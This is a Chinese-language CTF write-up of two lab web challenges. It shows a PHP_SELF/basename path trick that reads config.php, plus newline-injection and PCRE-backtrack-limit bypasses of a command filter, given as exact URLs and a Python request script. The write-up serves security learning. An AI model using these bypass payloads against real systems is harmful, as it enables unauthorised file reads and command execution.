[Zer0pts2020]Can you guess it?
提交查询页面,source可以点击,点击后是源代码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
flag在config.php里面,我们就需要访问该网页,接着正则匹配了config,php,传入参数source,读取
$_SERVER['PHP_SELF'],返回
当前正在执行的脚本的名字,比如:basename("/path/home.php") -> home.php
$_SERVER['PHP_SELF']
会获取我们当前的访问路径,并且PHP在根据URI解析到对应文件后会忽略掉URL中多余的部分
如果是/index.php/config.php/
,则$_SERVER['PHP_SELF']
返回/index.php/config.php/
即config.php运行的是index.php.但是basename()获取到的内容是config.php。
basename()
对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录.
例如:
$var1="/config.php/test"
basename($var1) => test
$var2="/config.php/%ff"
basename($var2) => config.php
所以我们想要读取config.php,那么它后面就需要无法读取的目录,
所以构造:URL/index.php/config.php/%ff?source
总结:本题的重要点就是$_SERVER['PHP_SELF']和basename()截取函数,以此来访问我们的config.php
[FBCTF2019]RCEService
它让以JSON格式提交,JSON的格式是什么
{"a":"b"},这就是JSON的格式,
查看一下源代码
可以看到input ,cmd 参数应该是cmd,尝试,ls读取,构造:
{"cmd":"ls"}
可以看到通过这样提交后,参数是cmd,读出来了index.php
尝试ls /读取根目录下的东西,但是出错了,可能被过滤了
通过看了师傅的wp ,他们都有源代码,但我找不到。。。。。。。。。
源代码如下:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
可以看到过滤了非常非常多的东西,如果传入的cmd参数不是空值,就会执行system函数
看了师傅的wp后有两种解法,
第一种
因为preg_match只能够匹配第一行,所以可以采用换行绕过,也就是多行。
还因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以cat命令只能够使用绝对路径,不然是不能够识别该命令的,flag应该就在该/home/rceservice路迳下,cat命令的绝对路径是
/bin/cat(可以问AI)
那么就可以构造:
?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"%0a}
%0a是换行符,换行后就不会匹配后面一行的内容,这样就是有了三行
flag也可以用fl*来代替,防止文件名不是flag,可以去进行一个匹配
第二种
利用正则匹配的回溯次数,可以去看看p神的文章,说的很详细,
代码:
import requests
url='http://node2.anna.nssctf.cn:28505/'
data={
'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","qq":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)
得到:
原理是正则匹配是一个“有限状态的自动机”它是有限的,自动的。
而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
所以我们利用它的回溯特性,让他回溯100万次时会回显false,也就不会匹配后面的东西了,我们的代码就回溯了100万加,以此来绕过正则匹配。
详细知识文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
总结,对正则匹配的绕过,换行绕过和回溯绕过。